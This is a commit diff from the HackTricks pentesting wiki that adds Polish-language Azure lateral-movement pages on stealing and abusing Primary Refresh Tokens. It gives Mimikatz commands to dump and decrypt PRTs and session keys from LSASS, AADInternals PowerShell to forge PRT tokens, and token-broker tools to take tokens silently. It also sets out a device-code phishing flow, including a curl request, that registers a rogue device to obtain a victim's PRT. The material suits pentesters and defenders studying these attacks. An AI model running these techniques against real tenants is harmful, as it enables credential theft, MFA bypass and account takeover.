Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

2025-12-18 10:19:28 -08:00 · 2025-07-29 16:04:56 +00:00
parent 55934e4c4c
commit ac19fc408e
13 changed files with 411 additions and 127 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -420,6 +420,7 @@
    - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
    - [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md)
    - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
+    - [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md)
    - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
    - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
    - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
@@ -442,21 +443,19 @@
  - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
  - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
    - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
-      - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
+      - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
      - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
-      - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
+      - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
      - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
      - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
-      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
      - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
-      - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
+      - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
      - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
      - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
    - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
    - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
    - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
    - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
-    - [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
    - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
    - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
  - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -4,18 +4,18 @@

 ## Pass the Certificate (Azure)

-W maszynach dołączonych do Azure możliwe jest uwierzytelnienie z jednej maszyny na drugą za pomocą certyfikatów, które **muszą być wydane przez Azure AD CA** dla wymaganego użytkownika (jako podmiot), gdy obie maszyny obsługują mechanizm uwierzytelniania **NegoEx**.
+W maszynach dołączonych do Azure możliwe jest uwierzytelnienie z jednej maszyny na drugą za pomocą certyfikatów, które **muszą być wydane przez Entra ID CA** dla wymaganego użytkownika (jako podmiot), gdy obie maszyny obsługują mechanizm uwierzytelniania **NegoEx**.

 W super uproszczonych słowach:

- Maszyna (klient) inicjująca połączenie **potrzebuje certyfikatu z Azure AD dla użytkownika**.
- Klient tworzy nagłówek JSON Web Token (JWT) zawierający PRT i inne szczegóły, podpisuje go za pomocą klucza pochodnego (używając klucza sesji i kontekstu bezpieczeństwa) i **wysyła go do Azure AD**.
- Azure AD weryfikuje podpis JWT za pomocą klucza sesji klienta i kontekstu bezpieczeństwa, sprawdza ważność PRT i **odpowiada** certyfikatem.
+- Maszyna (klient) inicjująca połączenie **potrzebuje certyfikatu z Entra ID dla użytkownika**.
+- Klient tworzy nagłówek JSON Web Token (JWT) zawierający PRT i inne szczegóły, podpisuje go za pomocą klucza pochodnego (używając klucza sesji i kontekstu bezpieczeństwa) i **wysyła go do Entra ID**.
+- Entra ID weryfikuje podpis JWT za pomocą klucza sesji klienta i kontekstu bezpieczeństwa, sprawdza ważność PRT i **odpowiada** certyfikatem.

 W tym scenariuszu, po zebraniu wszystkich potrzebnych informacji do ataku [**Pass the PRT**](pass-the-prt.md):

 - Nazwa użytkownika
- ID najemcy
+- ID dzierżawy
 - PRT
 - Kontekst bezpieczeństwa
 - Klucz pochodny
@@ -24,7 +24,7 @@ Możliwe jest **zażądanie certyfikatu P2P** dla użytkownika za pomocą narzę
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-Certyfikaty będą ważne tak samo jak PRT. Aby użyć certyfikatu, możesz skorzystać z narzędzia python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), które **uwierzytelni** się na zdalnej maszynie, uruchomi **PSEXEC** i **otworzy CMD** na maszynie ofiary. To pozwoli nam ponownie użyć Mimikatz, aby uzyskać PRT innego użytkownika.
+Certyfikaty będą ważne tak długo, jak PRT. Aby użyć certyfikatu, możesz skorzystać z narzędzia python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), które **uwierzytelni** się na zdalnej maszynie, uruchomi **PSEXEC** i **otworzy CMD** na maszynie ofiary. To pozwoli nam ponownie użyć Mimikatz, aby uzyskać PRT innego użytkownika.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -1,7 +0,0 @@
-# Az - Phishing Primary Refresh Token (Microsoft Entra)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-**Sprawdź:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
-
-{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -2,6 +2,258 @@

 {{#include ../../../banners/hacktricks-training.md}}

-**Sprawdź post na** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) chociaż inny post wyjaśniający to samo można znaleźć pod adresem [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+## Co to jest Primary Refresh Token (PRT)?
+
+**Primary Refresh Token (PRT)** to długoterminowy token odświeżania używany w uwierzytelnianiu Azure AD (Entra ID), analogiczny do Kerberos TGT. Jest wydawany po zalogowaniu użytkownika na urządzeniu dołączonym do Azure AD i może być używany do żądania tokenów dostępu do różnych aplikacji bez ponownego wprowadzania poświadczeń. Każdy PRT jest towarzyszony przez **klucz sesji** (nazywany również kluczem Proof-of-Possession) -- klucz symetryczny używany do podpisywania żądań i udowadniania, że klient posiada PRT. Sam PRT jest nieprzezroczystym, zaszyfrowanym blobem (niedostępnym dla klienta), podczas gdy klucz sesji jest używany do **podpisywania** JWT zawierającego PRT podczas żądania tokenów. Innymi słowy, posiadanie samego PRT jest niewystarczające; atakujący potrzebuje klucza sesji, aby udowodnić legitymację, podobnie jak potrzebuje zarówno Kerberos TGT, jak i jego klucza sesji do uwierzytelnienia.
+
+Na systemach Windows PRT i klucz sesji są przechowywane w procesie LSASS za pośrednictwem wtyczki CloudAP. Jeśli urządzenie ma **TPM** (Trusted Platform Module), Azure AD wiąże klucze z TPM dla dodatkowego bezpieczeństwa. Oznacza to, że na urządzeniach wyposażonych w TPM klucz sesji jest przechowywany lub używany w TPM w taki sposób, że nie może być bezpośrednio odczytany z pamięci w normalnych okolicznościach. Jeśli TPM nie jest dostępny (np. wiele maszyn wirtualnych lub starsze systemy), klucze są przechowywane w oprogramowaniu i chronione szyfrowaniem DPAPI. W obu przypadkach atakujący z uprawnieniami administracyjnymi lub możliwością wykonania kodu na maszynie może próbować **zrzucić PRT i klucz sesji z pamięci** jako część post-exploitation, a następnie użyć ich do podszywania się pod użytkownika w chmurze. W przeciwieństwie do typowych tokenów odświeżania (które są zazwyczaj specyficzne dla aplikacji), PRT jest szerszy, pozwalając Twojemu urządzeniu na żądanie tokenów dla prawie każdego zasobu lub usługi zintegrowanej z Entra ID.
+
+## Jak działa PRT?
+
+Oto uproszczony opis działania PRT:
+
+1.  **Rejestracja urządzenia:**
+
+-   Gdy Twoje urządzenie (np. laptop z systemem Windows lub telefon komórkowy) dołącza lub rejestruje się w Entra ID, uwierzytelnia się za pomocą Twoich poświadczeń (nazwa użytkownika/hasło/MFA).
+
+-   Po pomyślnym uwierzytelnieniu Entra ID wydaje PRT przypisany konkretnie do Twojego urządzenia.
+
+2.  **Przechowywanie tokenów:**
+
+-   PRT jest bezpiecznie przechowywany na Twoim urządzeniu, często chroniony przez funkcje sprzętowe, takie jak Trusted Platform Module (TPM), co zapewnia, że trudno jest nieautoryzowanym stronom wydobyć lub nadużyć go.
+
+3.  **Jednolity dostęp (SSO):**
+
+-   Za każdym razem, gdy uzyskujesz dostęp do aplikacji chronionej przez Entra ID (np. aplikacje Microsoft 365, SharePoint, Teams), Twoje urządzenie cicho używa przechowywanego PRT, aby żądać i uzyskać konkretny token dostępu dla tej aplikacji.
+
+-   Nie musisz wielokrotnie wprowadzać swoich poświadczeń, ponieważ PRT przejrzysto obsługuje uwierzytelnianie.
+
+4.  **Odnowienie i bezpieczeństwo:**
+
+-   PRT mają długi czas życia (zazwyczaj około 14 dni), ale są ciągle odnawiane, dopóki Twoje urządzenie jest aktywnie używane.
+
+-   Jeśli Twoje urządzenie zostanie skompromitowane lub zgubione, administratorzy mogą zdalnie unieważnić Twój PRT, natychmiast blokując nieautoryzowany dostęp.
+
+### Dlaczego PRT są potężne?
+
+-   **Uniwersalny dostęp:** W przeciwieństwie do typowych tokenów ograniczonych do jednej aplikacji lub zasobu, PRT może ułatwiać dostęp do wszystkich usług zintegrowanych z Entra ID.
+
+-   **Zwiększone bezpieczeństwo:** Dzięki wbudowanym zabezpieczeniom sprzętowym (takim jak TPM), PRT zapewniają bezpieczne przechowywanie i użycie tokenów.
+
+-   **Doświadczenie użytkownika:** PRT znacznie poprawiają doświadczenie użytkownika, redukując częste monity o uwierzytelnienie i umożliwiając prawdziwe bezproblemowe SSO.
+
+## Jak sprawdzić, czy PRT jest obecny?
+
+- Sprawdź, czy PRT jest obecny:
+```bash
+# Execute
+dsregcmd /status
+## Check if the value of AzureAdPrt is set to YES
+```
+- Sprawdź, czy chronione przez TPM:
+```bash
+Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
+# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
+
+dsregcmd /status
+# In Device State / WHfB prerequisites you’ll typically see:
+# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
+# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
+# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
+```
+## Dump and user unprotected PRTs
+
+Zgodnie z [tym postem](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) na urządzeniach z systemem Windows **bez powiązania TPM**, PRT i jego klucz sesji znajdują się w LSASS (wtyczka CloudAP). Mając lokalnego administratora/SYSTEM na tym urządzeniu, blob PRT i klucz sesji zaszyfrowany DPAPI można **odczytać z LSASS, klucz sesji odszyfrować za pomocą DPAPI, a klucz podpisu wyprowadzić** w celu wygenerowania ważnego ciasteczka PRT (`x‑ms‑RefreshTokenCredential`). Potrzebujesz zarówno PRT, jak i jego klucza sesji—sam ciąg PRT nie wystarczy.
+
+### Mimikatz
+```bash
+privilege::debug
+sekurlsa::cloudap
+```
+Pole **PRT** zawiera zaszyfrowany token odświeżania (zwykle ciąg base64), a KeyValue w ProofOfPossessionKey to klucz sesji zaszyfrowany DPAPI (również base64).
+
+Następnie, z wyjścia **`sekurlsa::cloudap`**, skopiuj blob base64 z **`KeyValue`** wewnątrz pola `ProofOfPossessionKey` (to jest klucz sesji zaszyfrowany DPAPI). Ten zaszyfrowany klucz nie może być użyty w tej formie – musi być odszyfrowany przy użyciu poświadczeń DPAPI systemu.
+
+Ponieważ szyfrowanie DPAPI dla sekretów systemowych wymaga kontekstu systemu maszyny, podnieś swój token do SYSTEM i użyj modułu DPAPI Mimikatz do odszyfrowania:
+```bash
+token::elevate
+dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+```
+`token::elevate` będzie udawać SYSTEM, a polecenie `dpapi::cloudapkd` z `/unprotect` użyje klucza głównego DPAPI do odszyfrowania podanego blobu KeyValue. To daje klucz sesji w postaci czystego tekstu oraz powiązany Klucz Pochodny i Kontekst używany do podpisywania:
+- **Czysty klucz** – 32-bajtowy klucz sesji w postaci tekstu (reprezentowany jako ciąg szesnastkowy).
+- **Klucz Pochodny** – 32-bajtowy klucz pochodzący z klucza sesji i wartości kontekstu (więcej na ten temat poniżej).
+- **Kontekst** – 24-bajtowy losowy kontekst, który był używany podczas derivacji klucza podpisu dla ciasteczka PRT.
+
+> [!NOTE]
+> Jeśli to nie działa dla Ciebie, aby udawać użytkownika, sprawdź następną sekcję używając **`AADInternals`**.
+
+Następnie możesz również użyć mimikatz do wygenerowania ważnego ciasteczka PRT:
+```bash
+# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+# PRT is obtained from sekurlsa::cloudap (filed "Prt"
+dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
+```
+Mimikatz wyświetli podpisany JWT (ciasteczko `PRT`) po linii „Podpis z kluczem”, który zawiera PRT i jest podpisany przy użyciu wyprowadzonego klucza. Ten JWT można skopiować i użyć w sesji webowej. Na przykład, atakujący może otworzyć przeglądarkę, przejść do `login.microsoftonline.com` i ustawić ciasteczko o nazwie `x-ms-RefreshTokenCredential` z wartością będącą tym JWT. Gdy przeglądarka odświeża lub nawiguję, Azure AD potraktuje sesję jako uwierzytelnioną (ciasteczko PRT jest prezentowane tak, jakby wystąpiło SSO), a następnie wyda kod autoryzacyjny lub token dostępu dla określonego zasobu. W praktyce, należałoby przejść do zasobu takiego jak Office 365 lub portal Azure; obecność ważnego ciasteczka PRT oznacza, że Azure AD przyzna dostęp bez dodatkowego logowania (omijając MFA, ponieważ PRT jest już uwierzytelnione).
+
+Można również użyć **`roadtx`** i **`roadrecon`** z PRT ciasteczka PRT, aby podszyć się pod użytkownika *(TODO: Znaleźć dokładne linie poleceń do użycia roadtx/roadrecon w celu uzyskania poświadczeń z PRT)*.
+
+
+### AADInternals
+
+Moduł PowerShell **`AADInternals`** może być również używany z wcześniej uzyskanym PRT i kluczem sesji do generowania ważnego tokena PRT. Jest to przydatne do automatyzacji procesu uzyskiwania nowego tokena PRT z nonce, który może być użyty do pobierania tokenów dostępu dla Azure AD Graph API lub innych zasobów:
+```bash
+# Code from https://aadinternals.com/post/prt/
+# Add the PRT to a variable
+$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
+
+# Add padding
+while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
+
+# Convert from Base 64
+$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
+
+# Add the session key (Clear key) to a variable
+$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
+
+# Convert to byte array and base 64 encode
+$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
+
+# Generate a new PRTToken with nonce
+$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
+
+# Get an access token for MS Graph API
+Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
+```
+This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
+
+## Abusing protected PRTs
+
+Pomimo wspomnianych zabezpieczeń, atakujący, który już skompromitował urządzenie (jako lokalny użytkownik lub nawet SYSTEM), może nadal **wykorzystać PRT do uzyskania świeżych tokenów dostępu** poprzez wykorzystanie własnych API brokera tokenów i komponentów zabezpieczeń Windows. Zamiast **ekstrahować** surowy PRT lub klucz, atakujący zasadniczo **"prosi" Windows o użycie PRT w ich imieniu**. W poniższych sekcjach przedstawiamy aktualnie ważne techniki wykorzystywania PRT i ich kluczy sesyjnych na zaktualizowanych urządzeniach z systemem Windows, gdzie obowiązują zabezpieczenia TPM. Wszystkie te techniki zakładają dostęp po eksploatacji na docelowej maszynie i **koncentrują się na wykorzystywaniu wbudowanych przepływów uwierzytelniania** (nie są potrzebne żadne niezałatane luki).
+
+### Windows Token Broker Architecture and SSO Flow
+
+Nowoczesny Windows obsługuje uwierzytelnianie w chmurze za pomocą wbudowanego stosu **token brokera**, który obejmuje komponenty zarówno w trybie użytkownika, jak i LSASS (Local Security Authority). Kluczowe elementy tej architektury obejmują:
+
+-   **LSASS CloudAP Plugin:** Gdy urządzenie jest dołączone do Azure AD, LSASS ładuje pakiety uwierzytelniania w chmurze (np. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), które zarządzają PRT i żądaniami tokenów. LSASS (działający jako SYSTEM) koordynuje przechowywanie, odnawianie i użycie PRT oraz współpracuje z TPM w celu wykonywania operacji kryptograficznych (takich jak podpisywanie wyzwania PRT kluczem sesyjnym).
+
+-   **Web Account Manager (WAM):** Menedżer kont internetowych Windows to framework w trybie użytkownika (dostępny za pomocą API COM/WinRT), który pozwala aplikacjom lub przeglądarkom żądać tokenów dla kont w chmurze bez konieczności podawania danych uwierzytelniających. WAM działa jako broker między aplikacjami użytkownika a zabezpieczonym PRT wspieranym przez LSASS/TPM. Na przykład, biblioteka MSAL firmy Microsoft i niektóre komponenty systemu operacyjnego używają WAM do cichego pozyskiwania tokenów przy użyciu PRT zalogowanego użytkownika.
+
+-   **BrowserCore.exe i interfejsy COM brokera tokenów:** Dla SSO w przeglądarkach Windows zawiera komponent zwany **BrowserCore.exe** (znajdujący się w *Windows Security\BrowserCore*). Jest to natywny host komunikacyjny używany przez przeglądarki (Edge, Chrome za pośrednictwem rozszerzenia itp.) do uzyskania tokena SSO pochodzącego z PRT dla logowania do Azure AD. W tle, BrowserCore wykorzystuje obiekt COM dostarczony przez `MicrosoftAccountTokenProvider.dll`, aby uzyskać cookie/token oparty na PRT. W istocie, ten interfejs COM jest pierwszorzędnym API "brokera tokenów", które każdy proces działający jako użytkownik może wywołać, aby uzyskać token SSO (pod warunkiem, że użytkownik ma ważny PRT w LSASS).
+
+Gdy użytkownik dołączony do Azure AD próbuje uzyskać dostęp do zasobu (powiedzmy, do Portalu Azure), przepływ zazwyczaj wygląda następująco: aplikacja wywołuje interfejs COM WAM lub BrowserCore, który z kolei komunikuje się z LSASS. LSASS używa PRT i klucza sesyjnego (zabezpieczonego przez TPM), aby wygenerować **token SSO** -- często nazywany **ciasteczkiem PRT** -- który następnie jest zwracany aplikacji lub przeglądarce. Ciasteczko PRT to specjalny JWT zawierający zaszyfrowany PRT i nonce, podpisany kluczem pochodzącym z klucza sesyjnego PRT. To ciasteczko jest wysyłane do Azure AD (w nagłówku `x-ms-RefreshTokenCredential`), aby udowodnić, że urządzenie i użytkownik posiadają ważny PRT, co pozwala Azure AD na wydanie standardowych tokenów odświeżania i dostępu OAuth dla różnych aplikacji. Co ważne, wszelkie roszczenia dotyczące wieloskładnikowego uwierzytelniania (MFA) obecne w PRT będą przenoszone do tokenów uzyskanych za pomocą tego procesu SSO, co oznacza, że tokeny pochodzące z PRT mogą zaspokoić zasoby chronione MFA.
+
+### User-Level Token Theft (Non-Admin)
+
+Gdy atakujący ma **wykonanie kodu na poziomie użytkownika**, ochrona TPM PRT nie powstrzymuje atakującego przed uzyskaniem tokenów. Atakujący **wykorzystuje wbudowane API brokera tokenów Windows**:
+
+#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
+
+BrowserCore udostępnia klasę COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) do pobierania ciasteczek PRT. To API COM jest wywoływane w sposób legalny przez przeglądarki (rozszerzenia Chrome/Edge) dla SSO Azure AD.
+
+-   **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
+```bash
+RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
+```
+*(Zwraca token odświeżania Azure AD lub ciasteczko PRT)*
+
+- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
+```bash
+ROADtoken.exe --nonce <nonce-value>
+roadrecon auth --prt-cookie <cookie>
+```
+*(Generuje nonce, wywołuje BrowserCore, aby uzyskać ciasteczko PRT, a następnie je realizuje za pomocą ROADtools)*
+
+
+### **Interfejsy API Menedżera Konta Sieciowego (WAM)**
+
+Napastnicy wykorzystują legalne biblioteki uwierzytelniania Microsoftu (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) z procesów na poziomie użytkownika, aby cicho pobierać tokeny, wykorzystując chroniony przez TPM PRT.
+
+
+-   **[aadprt](https://posts.specterops.io/)**
+```bash
+execute-assembly aadprt.exe
+```
+*(Pobiera cookie PRT za pomocą interfejsów COM)*
+
+-   **[listwamaccounts](https://posts.specterops.io/)**
+```bash
+execute-assembly listwamaccounts.exe
+```
+*(Lista kont Azure AD zalogowanych za pomocą WAM; identyfikuje cele tokenów)*
+
+-   **Ogólny przykład (PowerShell z MSAL)**:
+```powershell
+$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
+$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
+$result.AccessToken
+```
+*(Cicho uzyskuje token dostępu wykorzystując PRT)*
+
+#### Nadużycie tokena na poziomie Administratora / SYSTEM
+
+Jeśli atakujący uzyska dostęp do **Administratora lub SYSTEM**, może bezpośrednio podszyć się pod dowolnego użytkownika zalogowanego w Azure AD i używać tych samych **API brokera tokenów COM/WAM**. PRT chronione przez TPM nie zapobiegają wydawaniu tego legalnego tokena.
+
+### **Podszywanie się pod użytkownika i pobieranie tokena**
+
+Admin/SYSTEM może podszyć się pod działające sesje innych użytkowników, aby wywołać BrowserCore lub WAM w celu generacji tokena.
+
+W tym celu wystarczy podszyć się pod proces użytkownika (np. `explorer.exe`) i wywołać API brokera tokenów, używając dowolnej techniki omówionej w poprzedniej sekcji.
+
+### **Bezpośrednia interakcja z LSASS i brokerem tokenów (zaawansowane)**
+
+Administrator może nadal współpracować z LSASS, aby nadużyć PRT: na przykład, administrator mógłby wstrzyknąć kod do LSASS lub wywołać wewnętrzne funkcje CloudAP, aby nakłonić LSASS do wygenerowania tokena. Badania Dirka-jana zauważyły, że administrator może „interagować z kluczami PRT w LSASS, używając API kryptograficznych”. W praktyce może to oznaczać użycie własnych funkcji LSASS (poprzez technikę taką jak hooking API lub RPC, jeśli dostępne) do wygenerowania ciasteczka PRT. Innym podejściem jest wykorzystanie dowolnego okna, w którym klucz sesji może pojawić się w pamięci – na przykład w momencie odnowienia PRT lub rejestracji urządzenia, gdy jest niezaszyfrowany do użycia. Takie ataki są znacznie bardziej złożone i sytuacyjne. Bardziej bezpośrednią taktyką administratora jest nadużycie istniejących uchwytów tokenów lub pamięci podręcznej: LSASS przechowuje ostatnio wydane tokeny odświeżania dla aplikacji w pamięci (zaszyfrowane za pomocą DPAPI). Zdeterminowany atakujący SYSTEM mógłby spróbować wydobyć te tokeny chronione przez DPAPI (używając klucza głównego użytkownika, który administrator może uzyskać), aby bezpośrednio ukraść tokeny odświeżania dla konkretnych aplikacji. Jednak najłatwiejszą i najbardziej ogólną metodą pozostaje podszywanie się i korzystanie z udokumentowanych interfejsów brokera tokenów, ponieważ gwarantują one, że Azure AD wyda świeże tokeny (ze wszystkimi odpowiednimi roszczeniami), zamiast próbować łamać szyfrowanie.
+
+## Phishing PRT
+
+Nadużyj przepływu **OAuth Device Code** używając **identyfikatora klienta Microsoft Authentication Broker** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) oraz zasobu **Device Registration Service (DRS)**, aby uzyskać **token odświeżania, który można przekształcić w Primary Refresh Token (PRT)** po zarejestrowaniu **fałszywego urządzenia**.
+
+### **Dlaczego to działa**
+
+-   **PRT** jest **powiązany z urządzeniem** i umożliwia **SSO dla (prawie) każdej aplikacji chronionej przez Entra**.
+-   Kombinacja **klienta brokera + DRS** pozwala na wymianę **tokena odświeżania** na **PRT** po zarejestrowaniu urządzenia.
+-   **MFA nie jest omijane**: **użytkownik wykonuje MFA** podczas phishingu; **roszczenia MFA propagują się** do wynikowego PRT, pozwalając atakującemu uzyskać dostęp do aplikacji **bez dalszych monitów**.
+
+**Wymagania wstępne**:
+
+-   **Uwierzytelnienie użytkownika za pomocą Device Code** przy użyciu **identyfikatora klienta brokera** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) oraz **zakresów/zasilania DRS** (np. **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** lub **`https://enrollment.manage.microsoft.com/`**).
+-   **Użytkownik może rejestrować urządzenia** w Entra ID (**domyślnie: dozwolone**, ale może być ograniczone lub objęte kwotą).
+-   **Brak blokujących polityk CA**, które **wyłączają Device Code** lub **wymagają zgodnych/hybrydowych urządzeń** dla docelowych aplikacji (te nie zatrzymają wydawania PRT, ale **zablokują** **użycie** go do uzyskania dostępu do chronionych aplikacji).
+-   **Host kontrolowany przez atakującego** do uruchomienia przepływu i przechowywania tokenów/kluczy urządzeń.
+
+**Przepływ ataku**:
+
+1.  **Zainicjuj uwierzytelnianie Device Code** z **client_id = Broker** i **zakresem/zasilaniem DRS**; pokaż **kod użytkownika** ofierze.
+```bash
+curl -s -X POST \
+"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
+-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
+-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
+```
+2.  **Ofiara loguje się na stronie Microsoftu** (legit UI) i kończy **MFA** → **atakujący otrzymuje token odświeżania z zakresem DRS** dla klienta Broker.
+
+3.  **Zarejestruj nieautoryzowane urządzenie** w dzierżawie używając tego tokena odświeżania (obiekt urządzenia jest tworzony i powiązany z ofiarą).
+
+4.  **Ulepsz do PRT** poprzez wymianę **tokena odświeżania + tożsamości/kluczy urządzenia** → **PRT** powiązany z urządzeniem atakującego.
+
+5.  **(Opcjonalna trwałość)**: jeśli MFA było świeże, **zarejestruj klucz Windows Hello for Business** aby utrzymać **długoterminowy, bezhasłowy dostęp**.
+
+6.  **Nadużycie**: zrealizuj **PRT** (lub stwórz **ciasteczko PRT**) aby uzyskać **tokeny dostępu** dla **Exchange/Graph/SharePoint/Teams/niestandardowych aplikacji** jako użytkownik.
+
+
